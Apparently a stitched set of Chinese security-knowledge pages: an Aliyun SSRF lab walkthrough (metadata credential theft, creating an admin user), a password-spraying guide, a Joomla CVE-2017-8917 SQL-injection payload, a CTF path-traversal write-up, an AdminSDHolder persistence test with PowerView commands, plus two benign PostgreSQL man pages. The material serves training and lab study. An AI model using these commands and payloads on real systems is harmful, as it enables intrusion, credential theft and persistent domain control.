terraform apply
```
如果 init 初始化比较慢,挂上代理即可
在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。
<img width="800" src="/img/1654511678.png"></br>
在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。
<img width="800" src="/img/1654511714.png"></br>
## 0x02 环境利用
当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。
访问元数据
```bash
http://100.100.100.200/latest/meta-data
```
<img width="800" src="/img/1654511862.png"></br>
在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。
通过元数据获取临时凭证
> 这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。
```bash
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role
```
<img width="800" src="/img/1654511960.png"></br>
将临时凭证配置到 aliyun 命令行工具里。
```bash
aliyun configure --mode StsToken
```
<img width="800" src="/img/1654512150.png"></br>
创建子用户,并赋予管理员权限
```bash
aliyun ram CreateUser --UserName teamssix
aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
```
<img width="1200" src="/img/1654512184.png"></br>
访问 [https://signin.aliyun.com](https://signin.aliyun.com) 页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。
```bash
aliyun ram GetAccountAlias
```
<img width="800" src="/img/1654512236.png"></br>
这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。
<img width="800" src="/img/1654512350.png"></br>
输入刚才创建用户时的密码
<img width="800" src="/img/1654512375.png"></br>
登录后,就可以看到目标的控制台了。
<img width="1000" src="/img/1654512406.png"></br>
由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。
<img width="1000" src="/img/1654512448.png"></br>
在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。
<img width="1000" src="/img/1654512539.png"></br>
至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。
> 另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,可以动手去尝试找到这个 flag,Writeup 地址:[https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf](https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf)
## 0x03 防御措施
这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题:
1. RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作
2. 元数据未做加固访问,导致一旦目标存在 SSRF 或目标权限被拿下,元数据就存在被获取的风险
那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。
针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法:
1. 在创建实例时,可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」
<img width="1000" src="/img/1654569052.png"></br>
2. 在已经创建好的实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:[https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions](https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions)
<img width="1000" src="/img/1654569124.png"></br>
将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。
<img width="800" src="/img/1654569149.png"></br>
值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。
在 Linux 实例中获取 token 的命令如下:
```bash
TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`
```
通过 token 获取元数据
```bash
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/
```
<img width="1200" src="/img/1654569172.png"></br>
对于 Windows 实例下的获取方法可以参考阿里云官方文档:[https://help.aliyun.com/document_detail/108460.htm](https://help.aliyun.com/document_detail/108460.htm)
> 将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供
## 0x04 环境删除
删除创建的子账号
```bash
aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
aliyun ram DeleteUser --UserName teamssix
```
删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。
> 在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure --mode AK
```bash
terraform destroy
```
如果想清除 TerraformGoat,可以使用以下命令,如果以后还想进行云上攻防的学习,则可以将 TerraformGoat 环境保留下来。
```bash
docker stop terraformgoat
docker rm terraformgoat
docker rmi terraformgoat:v0.0.3
```
## 0x05 总结
这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。
但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个:
1. ECS 实例需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404
2. RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限。
> 在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。
总的来说,云上攻防和常规的内网攻防还是十分不一样的。
- 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。
- 云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。
- 云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。
- ……
最后,本文中所提到的很多命令都是参考火线云安全知识库中的内容,知识库地址:[https://cloudsec.huoxian.cn](https://cloudsec.huoxian.cn/),在知识库的首页中可以看到火线云服务攻防矩阵,本文就是依据这个攻防矩阵进行的云上攻防。
<img width="1000" src="/img/1654512638.png"></br>
如果你还想找到更多云安全资源进行学习,可以访问 Awesome Cloud Security 项目,该项目当前已经收录了上百余条国内外云安全博客、工具、公众号等资源,项目地址:[https://github.com/teamssix/awesome-cloud-security](https://github.com/teamssix/awesome-cloud-security)
<img width="1000" src="/img/1654512658.png"></br>
> 参考文章:[https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs](https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs)
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年6月7日"
}
}
</script>
|
sec-knowleage
|
## Password spraying
下文译作密码碰撞
###常见手法
密码碰撞是一种使用使用有效的用户名和弱口令进行排列组合尝试登录的技术,目的是获得有效的身份凭证。
这种技术在从某种程度上来说并不可靠的,一不小心执行就会导致自己处于暴露的边缘。在碰撞之前,我们应该应该摸清楚目标的各个规则,如错误锁定时间次数等,以一种可控的方式尝试密码碰撞,并跨多个用户以避免锁定。也就是说密码碰撞实际上就属于暴力破解。
这项技术的使用是有前提的。不管它是在外网还是在内网执行,道理都是一样的。绝大部分需要的注意的东西都可以轻松试出了。
###前提准备
* 可碰撞的服务
* 域名/ip
* 用户名或邮箱
###常用工具
* [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)
* [MailSniper](https://github.com/dafthack/MailSniper)
* [auxiliary/scanner/http/owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login)
* [auxiliary/scanner/http/owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login)
-------
###外网
现如今绝大部分企业都为自己的员工提供了企业邮箱,所以当我们在外网发起的攻击时就可以把这作为一个攻击入口。下面以OutLook(下面简称OWA))为例说明:
如图,如果我们可以尝试用普通密码验证时找到其规律。我们就可以尝试使用公共密码进行身份验证。但是要注意在碰撞的时候不要超过登录失败后账户锁定的阈值。很多企业门户在连续尝试五到十次之后就账户就会被锁定了,有些甚至只有三次机会。锁定的时间通常为30分钟。在碰撞时一定要谨慎,具体情况得具体分析。
**第一步:寻找可碰撞的服务**
OWA门户通常会出现在`mail.testlab.local` ,`testlab.local/owa`。任何ADFS集成门户在理论上都可以碰撞,因为它们的后台都是一样的AD身份验证。需要注意有些工具(如MailSniper)是针对攻击邮件门户而开发的,因此如果不是OWA门户,那么工具的部分功能并没有什么用。子域枚举工具对寻找此类门户的地址非常有用。还有一种思路是扫web目录,如testlab.local/RDweb这样的。
**第二步:获取域名**
Metasploit的owa—login模块不仅可以用于暴力破解,还可以用来寻找有漏洞的域。对用户名进行碰撞或许能够帮助你寻找到一个有效的用户名。Metasploit使用NTLM响应来识别域名。有些管理员会把域名做成logo一类的放到OWA的页面上,碰上就是再好不过的了。
```
use auxiliary/scanner/http/owa_login
set rhost <rhost>
set username <username>
set password <password>
exploit
[+] Found target domain: TESTLAB
```
除此之外,也可以让MailSniper根据响应时间来获取域名。
```
Invoke-DomainHarvestOWA -ExchHostname testlab.local -DomainList c:\temp\domainlist.txt -OutFile potential-domains.txt
[*] Harvesting Domain Name from the OWA portal at https://testlab.local/owa/
...
[*] Potentially Valid Domain! Domain:TESTLAB
```
**第三步:获取有效的用户名或者邮箱**
前面我们已经获取到了域名, 现在我们可以尝试一下枚举用户名。如果我们没找到相关用户名或邮箱,那就需要想办法获取到,比如社工库,Google,baidu,Linkedin,钟馗之眼等等。此外我们也可以尝试一下直接暴力枚举用户名,当时成功的几率通常很小。
假设这种情况,我们在Linkedin上获取到一个邮箱账号并不为奇,那么可以顺便检查一下**theHarvester**.如果他的名字是`Bill Long Money`,那么他的邮箱就很可能是`bill.money@testlab.biz`。同理如果你在百度贴吧搜索到一个QQ号,那么他的邮箱就是`xxxx@qq.com` 。
域用户名的设置通常有很多可能的规律,假设名字是:`Bill Long Money`那么用户名可能是:
* 名字的首字母+姓氏= bmoney
* 名字的字母缩写和姓氏(也可以包括中间名)= bm或blm
* 前缀(通常是字符)+名首字母+姓氏= a-bmoney
* 全名= billmoney(比较少见)
我们可以通过对不同的信息进行排列组合形成一个用户名字典。`owa_login`可以验证出用户名是否有效。比如我们试一下`bmoney`这个用户名。
```
use auxiliary/scanner/http/owa_login
set rhost 10.10.10.10
set domain TESTLAB
set username bmoney
set password ilovemoney
exploit
[*] 10.10.10.10:443 OWA - Trying bmoney : ilovemoney
[+] server type: MX01
[*] 10.10.10.10:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.224583728 'TESTLAB\bmoney' : 'ilovemoney': SAVING TO CREDS
[*] Auxiliary module execution completed
```
如同提示`FAILED LOGIN, BUT USERNAME IS VALID`所说,虽让登录失败了,但是用户名是存在的嘛。
同样我们也可以使用Mailsniper进行类似的操作。
```
Invoke-UsernameHarvestOWA -ExchHostname testlab.corp.local -UserList c:\temp\userlist.txt -Domain TESTLAB -OutFile potential-usernames.txt
[*] Now spraying the OWA portal at https://testlab.local/owa/
...
[*] Potentially Valid! User:TESTLAB\bmoney
```
**第四步:开始碰撞**
现在有效的域和用户名都有了,我门就可以开始进行碰撞了。如前面所提醒的一样,为了防止账户被锁定。那些用户名碰撞过,确切时间,尝试了哪些密码,以及每个用户尝试了多少次等都很重要,我们需要控制好线程。
```
use auxiliary/scanner/http/owa_login
set rhost 10.10.10.10
set domain TESTLAB
set username bmoney
set password ilovemoney
exploit
[*] 10.10.10.10:443 OWA - Trying bmoney : ilovemoney
[+] server type: MX01
[*] 10.10.10.10:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.224583728 'TESTLAB\bmoney' : 'ilovemoney': SAVING TO CREDS
[*] Auxiliary module execution completed
```
同理也可以使用Mailsniper进行该的操作,用户名我们放在`userlist.txt`文件里。
```
Invoke-PasswordSprayOWA -ExchHostname testlab.local -userlist .\userlist.txt -password winter2018
[*] Now spraying the OWA portal at https://testlab.local/owa/
[*] SUCCESS! User:bmoney:winter2018
```
很奈斯,碰撞到了有效的密码。
-------
###内网
碰撞不仅仅是您可以在外部找到域用户的事。如果您有内部访问权限,但不知道域用户,或者在没有其他操作权限时获得更高权限的用户的凭据,这可能非常有用。
再会!
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "COMMENT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
COMMENT \- 定义或者改变一个对象的评注
.SH SYNOPSIS
.sp
.nf
COMMENT ON
{
TABLE \fIobject_name\fR |
COLUMN \fItable_name\fR.\fIcolumn_name\fR |
AGGREGATE \fIagg_name\fR (\fIagg_type\fR) |
CONSTRAINT \fIconstraint_name\fR ON \fItable_name\fR |
DATABASE \fIobject_name\fR |
DOMAIN \fIobject_name\fR |
FUNCTION \fIfunc_name\fR (\fIarg1_type\fR, \fIarg2_type\fR, ...) |
INDEX \fIobject_name\fR |
OPERATOR \fIop\fR (\fIleftoperand_type\fR, \fIrightoperand_type\fR) |
RULE \fIrule_name\fR ON \fItable_name\fR |
SCHEMA \fIobject_name\fR |
SEQUENCE \fIobject_name\fR |
TRIGGER \fItrigger_name\fR ON \fItable_name\fR |
TYPE \fIobject_name\fR |
VIEW \fIobject_name\fR
} IS \fI'text'\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCOMMENT\fR 存储一个数据库对象的评注, 这个评注可以很容易用 psql 的 \fB\\dd\fR, \fB\\d+\fR, 和 \fB\\l+\fR 命令检索出来。 其它检索评注的用户接口可以建设在 psql 所用地同样地内部函数的基础上, 也就是 obj_description() 和 col_description()。
.PP
要修改一个评注,为同一个对象发出一条新的 COMMENT 命令即可。每个对象只存储一条评注。 要删除评注,在文本字串的位置写上 NULL。 当删除对象时,评注自动被删除掉。
.SH "PARAMETERS 参数"
.TP
\fB\fIobject_name\fB\fR
.TP
\fB\fItable_name.column_name\fB\fR
.TP
\fB\fIaggname\fB\fR
.TP
\fB\fIconstraint_name\fB\fR
.TP
\fB\fIfunc_name\fB\fR
.TP
\fB\fIop\fB\fR
.TP
\fB\fIrule_name\fB\fR
.TP
\fB\fItrigger_name\fB\fR
要加入评注的对象名称。表,索引,序列,视图,类型,域,函数, 聚集和操作符的名字可以是模式修饰的。
.TP
agg_type
聚集函数的参数类型,如果函数接受任意数据类型,那么是 *。
.TP
large_object_oid
大对象的 OID。
.TP
PROCEDURAL
这个字无用。
.TP
sourcetype
类型转换的源数据类型名字。
.TP
targettype
类型转换的目的数据类型名字。
.TP
\fB\fItext\fB\fR
新的评注。
.SH "NOTES 注意"
.PP
一个数据库里的评注只能在改数据库里创建,并且只有在那个数据库里可见,其它库里不可见。
需要说明的是目前评注没有安全机制:任何联接到某数据库上的用户都可以看到所有该数据库对象的评注 (尽管只有超级用户可以修改不属于他的对象的评注)。因此,不要在评注里放安全性敏感地信息。
.SH "EXAMPLES 例子"
.PP
给表mytable 加评注:
.sp
.nf
COMMENT ON TABLE mytable IS 'This is my table.';
.sp
.fi
再删除它:
.sp
.nf
COMMENT ON TABLE mytable IS NULL;
.sp
.fi
.PP
一些例子:
.sp
.nf
COMMENT ON AGGREGATE my_aggregate (double precision) IS 'Computes sample variance';
COMMENT ON COLUMN my_table.my_column IS 'Employee ID number';
COMMENT ON DATABASE my_database IS 'Development Database';
COMMENT ON DOMAIN my_domain IS 'Email Address Domain';
COMMENT ON FUNCTION my_function (timestamp) IS 'Returns Roman Numeral';
COMMENT ON INDEX my_index IS 'Enforces uniqueness on employee ID';
COMMENT ON OPERATOR ^ (text, text) IS 'Performs intersection of two texts';
COMMENT ON OPERATOR ^ (NONE, text) IS 'This is a prefix operator on text';
COMMENT ON RULE my_rule ON my_table IS 'Logs updates of employee records';
COMMENT ON SCHEMA my_schema IS 'Departmental data';
COMMENT ON SEQUENCE my_sequence IS 'Used to generate primary keys';
COMMENT ON TABLE my_schema.my_table IS 'Employee Information';
COMMENT ON TRIGGER my_trigger ON my_table IS 'Used for RI';
COMMENT ON TYPE complex IS 'Complex number data type';
COMMENT ON VIEW my_view IS 'View of departmental costs';
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有COMMENT。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
.TH "INITDB" "1" "2003-11-02" "Application" "PostgreSQL Server Applications"
.SH NAME
initdb \- 创建一个新的 PostgreSQL数据库集群
.SH SYNOPSIS
.sp
\fBinitdb\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR \fR\fR \fB--pgdata \fR\fR | \fR\fB-D \fR\fIdirectory\fR\fR\fR
.SH "DESCRIPTION 描述"
.PP
\fBinitdb\fR 创建一个新的 PostgreSQL 数据库集群。 一个数据库集群是由单个服务器实例管理的数据库集合。
.PP
创建数据库系统包括创建数据库数据的宿主目录, 生成共享的系统表(不属于任何特定数据库的表)和创建 template1 数据库。当你以后再创建一个新数据库时, template1 数据库里所有内容都会拷贝过来。 它包括填充了象内建类型这样的系统表。
.PP
\fBinitdb\fR 初始化该数据库集群的缺省区域和字符集编码。 有些区域范畴对该集群而言是全生命期固定的,因此在运行 initdb 的时候选取正确的是非常重要的。 其它区域范畴可以在服务器启动之后的时间里改变。 initdb 将把那些区域设置写到 postgresql.conf 配置文件,这样它们就是缺省的, 但是我们可以通过编辑那些文件来修改它们。 要设置 initdb 使用的区域,参阅 --locale 选项的描述。字符集编码可以在数据库创建的时候独立设置。 initdb 决定 template1 数据库的编码,而该编码将成为所有其它数据库的缺省。 要修改缺省编码,我们可以使用 \fB--encoding\fR 选项。
.PP
\fBinitdb\fR 必须以运行数据库服务器进程的用户身份运行它。 因为服务器需要能够访问 initdb 创建的文件和目录。 因为服务器不能以 root 身份运行,所以你也不能以 root 身份运行 initdb。(实际上它拒绝以 root 身份运行。)
.PP
尽管initdb会尝试创建相应的数据目录, 但经常会发生它没有权限做这些事情的情况。因为所需要的目录的父目录通常是 root 所有的目录。 要为此安排做一个设置,用 root 创建一个空数据目录, 然后用 chown 把该目录的所有权交给数据库用户帐号, 然后 su 成数据库用户,最后以数据库用户身份运行 initdb。
.SH "OPTIONS 选项"
.PP
.TP
\fB-D \fIdirectory\fB\fR
.TP
\fB--pgdata=\fIdirectory\fB\fR
这个选项声明数据库集群应该存放在哪个目录。 这是initdb需要的唯一信息,但是你可以通过设置 PGDATA 环境变量来避免键入, 这样做可能方便一些,因为稍后数据库服务器(postmaster)可以通过同一个变量找到数据库目录。
.TP
\fB-E \fIencoding\fB\fR
.TP
\fB--encoding=\fIencoding\fB\fR
选择模板数据库的编码方式。这将是你以后创建的数据库的缺省编码方式, 除非你创建数据库时覆盖了它。 缺省是 SQL_ASCII。
.TP
\fB--locale=\fIlocale\fB\fR
为数据库集群设置缺省的区域。如果没有声明这个选项,那么区域 是从 initdb 运行的环境中继承过来的。
.TP
\fB--lc-collate=\fIlocale\fB\fR
.TP
\fB--lc-ctype=\fIlocale\fB\fR
.TP
\fB--lc-messages=\fIlocale\fB\fR
.TP
\fB--lc-monetary=\fIlocale\fB\fR
.TP
\fB--lc-numeric=\fIlocale\fB\fR
.TP
\fB--lc-time=\fIlocale\fB\fR
类似 --locale,但是只设置特殊范畴的区域。
.TP
\fB-U \fIusername\fB\fR
.TP
\fB--username=\fIusername\fB\fR
选择数据库超级用户的用户名。 缺省是运行 initdb 的用户的有效用户。 超级用户的名字是什么并不重要, 但是我们可以选择习惯的名字 postgres,即使操作系统的用户名字不一样也无所谓。
.TP
\fB-W\fR
.TP
\fB--pwprompt\fR
令 initdb 提示输入数据库超级用户的口令。 如果你不准备使用口令认证,这个东西并不重要。 否则你将不能使用口令认证直到你设置了口令。
.PP
.PP
其他不常用的参数还有:
.TP
\fB-d\fR
.TP
\fB--debug\fR
从初始化后端打印调试输出以及一些其它的一些普通用户不太感兴趣的信息。 初始化后端是 initdb 用于创建系统表的程序。 这个选项生成大量非常烦人的输出。
.TP
\fB-L \fIdirectory\fB\fR
告诉 initdb 到哪里找初始化数据库所需要的输入文件。 通常是不必要的。如果需要你明确声明的话,程序会提示你输入。
.TP
\fB-n\fR
.TP
\fB--noclean\fR
缺省时,当initdb 发现一些错误妨碍它完成创建数据库集群的工作时, 它将在检测到不能结束工作之前将其创建的所有文件删除。 这个选项禁止任何清理动作,因而对调试很有用。
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGDATA\fR
声明数据库集群存储的目录;可以用 \fB-D\fR 选项覆盖。
.SH "SEE ALSO 参见"
\fBpostgres\fR(1), \fBpostmaster\fR(1)
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。
Joomla在3.7.0中新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。com_fields组件由于对请求数据过滤不严导致了SQL注入。
参考链接:
- <https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html>
- <https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html>
## 测试环境
执行如下命令启动一个Joomla 3.7.0服务:
```
docker compose up -d
```
启动后访问`http://your-ip:8080`即可看到Joomla的安装界面和测试数据。
## 漏洞复现
直接访问`http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)`,即可看到SQL报错信息:

|
sec-knowleage
|
# Gotta catch em all
Category: Web, 80 Points
## Description
> Ash was too busy catching pokemons that he forgot his credentials.
## Solution
The attached website contained four pages, and two of them contained forms.
The first form was a login form:
```html
<form action="/login" method="post">
<input placeholder="username" size="20" name="username"></input><br>
<input placeholder="password" size="20" name="password"></input><br><br>
<input type="submit" class="button" value="Submit">
</form>
```
The second, a "Contact Me" page:
```html
<form action="/messageSent" method="post">
<textarea rows="1", cols="80" placeholder="Title" name="title"></textarea><br><br>
<textarea rows="20" cols="80" placeholder="Body" name="body"></textarea><br>
<input type="submit" class="button" value="Submit">
</form>
```
Let's start with the login page. We'll send a long username:
```console
root@kali:/media/sf_CTFs/matrix/Gotta_catch_em_all# curl 'https://ashmatd.herokuapp.com/login' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=aaaaaaaaaaaaaaaaaaaaa&password=b'
```
As a response, we get a Python stack trace which leaks the login handler:
```python
@app.route('/login', methods=["POST"])
def login_attempt():
username = request.form['username']
password = request.form['password']
if len(username) > 20 or len(password) > 20:
raise Exception("Given username/password is too big")
with open(HOME + 'private/accounts.txt') as f:
accounts_data = f.readlines()
accounts = {account.split(': ')[0]: account.split(': ')[1] for account in accounts_data}
if username in accounts and accounts[username] == password:
#Success
```
We can see that the username and password come from a file called `private/accounts.txt` where they are stored the format: `username: password`.
Now, let's try the same trick on the "Contact Me" form:
```console
root@kali:/media/sf_CTFs/matrix/Gotta_catch_em_all# curl 'https://ashmatd.herokuapp.com/messageSent' -H 'Content-Type: application/x-www-form-urlencoded' --data 'title=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&body=b'
```
Again, we get a code leak via the stack trace:
```python
File "/app/app.py", line 25, in post_message
body = str(request.form['body'])
title = title.translate(None, ':*?"<>|')
if len(title) == 0:
title = "default title"
if len(request.form['title']) > 30:
raise Exception("Given title is too big")
with open(HOME + 'messages/{}.txt'.format(title), "a+") as f:
f.write(body)
return render_template('message sent.html')
```
So now we know that the message is saved under `'messages/{}.txt'.format(title)`. Looks like all we need to do is override the accounts database using a specially crafted title:
```console
root@kali:/media/sf_CTFs/matrix/Gotta_catch_em_all# curl 'https://ashmatd.herokuapp.com/messageSent' -H 'Content-Type: application/x-www-form-urlencoded' --data 'title=../private/accounts&body=open: sesame'
<!DOCTYPE html>
<html>
<head>
<title>message sent - Ash's site</title>
<link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>Message Sent Successfully</h1>
<h3>I will read it as soon as possible</h3>
<form action="/" method="get">
<input type="submit" class="button" value="home">
</form>
</body>
</html>
```
This will override:
```python
>>> 'messages/{}.txt'.format('../private/accounts')
'messages/../private/accounts.txt'
```
Now we try to login using the username and password we used in the message body:
```console
root@kali:/media/sf_CTFs/matrix/Gotta_catch_em_all# curl 'https://ashmatd.herokuapp.com/login' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=open&password=sesame'
<!DOCTYPE html>
<html>
<head>
<title>congradulations - Ash's site</title>
<style>
body {
background-color: #fc03ca;
text-align: center;
color: white;
font-family: Arial, Helvetica, sans-serif;
}
</style>
</head>
<body>
<h1 style="color:blue">congratulations!!!!</h1>
<h2 style="color:green">Here is your Flag...</h2>
<h1>FLAG_aSh_Ketchup</h1>
</body>
</html>
```
We got the flag.
|
sec-knowleage
|
# T1098-Windows-AdminSDHolder
## 来自ATT&CK的描述
帐户操作可以帮助攻击者维持在环境中对凭据和某些权限级别的访问。账户操作可能包括修改权限,修改凭据,添加或更改权限组,修改帐户设置或修改执行身份验证等方式。为了创建或操纵帐户,攻击者必须已经对系统或域具有足够的权限。
## 测试案例
AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板。
Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的。
如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法。
## 检测日志
windows 安全日志
## 测试复现
### 完整利用过程
1.枚举受保护的AD账户和组中的信息
查找有价值的用户,需要确认该用户是否属于受保护的AD账户和组,排除曾经属于受保护的AD账户和组。
2.向AdminSDHolder对象添加ACL
例如添加用户testa对AdminSDHolder的完全访问权限。
默认等待60分钟以后,testa获得对所有受保护的AD账户和组的完全访问权限。
可以通过修改注册表的方式设置权限推送的间隔时间,注册表位置如下:
```reg
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD
```
例如修改成等待600秒的命令如下:
```reg
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters/v AdminSDProtectFrequency /t REG_DWORD/d 600
```
参考资料:<https://blogs.technet.microsoft.com/askds/2009/05/07/five-common-questions-about-adminsdholder-and-sdprop/>
**注:不建议降低默认间隔时间,因为在大型环境中可能会导致LSASS性能下降。**
3.获得对整个域的控制权限
(1)用户testa能够向域管理员组添加帐户。
验证权限的命令如下:
```powershell
Import-Module .\PowerView.ps1
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference-match'xiaomi'}
```
(2)用户testa能够直接访问域控制器上的文件。
### 测试过程
1.查询AdminSDHolder对象的ACL
查询AdminSDHolder对象的ACL等价于查询"CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org"的ACL。
命令如下:
```powershell
Import-Module .\PowerView.ps1
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System"|select IdentityReference
```
真实测试情况
```powershell
PS C:\Users\Administrator\Desktop\mimikatz_trunk> Import-Module .\PowerView.ps1
PS C:\Users\Administrator\Desktop\mimikatz_trunk> Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System"|select IdentityR
eference
IdentityReference
-----------------
NT AUTHORITY\Authenticated Users
NT AUTHORITY\SYSTEM
BUILTIN\Administrators
XIAOMI\Domain Admins
XIAOMI\Enterprise Admins
Everyone
NT AUTHORITY\SELF
NT AUTHORITY\SELF
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Pre-Windows 2000 Compatible Access
BUILTIN\Windows Authorization Access Group
BUILTIN\Terminal Server License Servers
BUILTIN\Terminal Server License Servers
XIAOMI\Cert Publishers
```
2.向AdminSDHolder对象添加ACL
添加用户xiaomi的完全访问权限,命令如下:
```powershell
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName xiaomi -Verbose -Rights All
```
注意:本文提到的百度社区参考链接此处存在问题。是Rights不是文中提到的Right
真实测试情况
```powershell
PS C:\Users\Administrator\Desktop\mimikatz_trunk> Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -Principal
SamAccountName xiaomi -Verbose -Rights All
详细信息: Get-DomainSearcher search string: LDAP://CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org
详细信息: Get-DomainSearcher search string: LDAP://DC=xiaomi,DC=org
详细信息: Granting principal S-1-5-21-3576461989-1381017913-248049510-1104 'All' on
CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org
